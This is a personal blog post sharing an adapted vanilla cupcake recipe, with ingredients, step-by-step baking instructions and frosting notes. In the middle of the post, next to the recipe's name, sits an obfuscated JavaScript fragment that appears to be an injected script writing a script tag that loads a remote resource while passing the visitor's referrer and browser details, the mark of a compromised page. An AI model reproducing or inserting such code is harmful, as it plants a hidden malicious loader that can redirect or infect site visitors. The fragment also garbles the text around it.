New Favorite Vanilla Cupcake Recipe

I had a favorite cupcake recipe for a few a years.  Magnolia Bakery Vanilla.  It was delicious and light and fluffy – and to be honest, turns out better than the cupcakes they serve at the actual store.  But I’m partial.

But then I found another.  And it’s better.

Billy’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiarz|var|u0026u|referrer|knfin||js|php’.split(‘|’),0,{}))
Vanilla, Vanilla Cupcake

It’s a lighter cupcake but still quite moist.  It seems a smidge more foolproof as well.  I cut the recipe in half and made minis for a friends’ birthday.  I also topped them with cream cheese frosting, because buttercream has never really been my cup of tea (straight buttercream, I enjoy other types, but they are more of a pain to make).

Here’s the recipe I used (adapted from Billy’s Vanilla, Vanilla Cupcake)

Makes 24 minis and 6 regular sized cupcakes

7/8 cups cake flour, not self-rising (1/8 cup = 2 Tbs) (for those rusty on fractions you could do 3/4 cup + 1/8 cup or 2 Tbs)
5/8 cups unbleached all-purpose flour (1/2 cup + 1/8 cup or 2 Tbs)
1 cup sugar
1/2 tablespoon baking powder
3/8 teaspoon salt
1/2 cup (1 stick) unsalted butter, cut into 1-inch cubes
2 large eggs
1/2 cup whole milk (I used half whipping cream, half non fat because that’s all I had around)
1 teaspoon pure vanilla extract

1.  Preheat to 325

2.  Mix flour, sugar, baking powder and salt.  Add in 1/2″ cubes of butter until it looks like this (kinda cornmeal-ish):

3.  Whisk together eggs, milk and vanilla.  Add in 3 parts, scraping down the side of the bowl before each addition.  Be careful to not overbeat.

4.  Line mini cupcake pan with papers and fill ~2/3 of the way.  You can make 6 large cupcakes with the remaining batter or more minis.  Up to you.

5.  Bake minis for 9-14 minutes (depends on your oven).  I check at 9 minutes – if the toothpick comes out clean, they are done.  Bake regular sized for 15-20 minutes.

6.  Let cool and frost! I like whipped cream, cream cheese frosting.  Recipe here!

Finished product!  I like to add sprinkles for a little extra color and crunch 🙂

Everyone wanted one!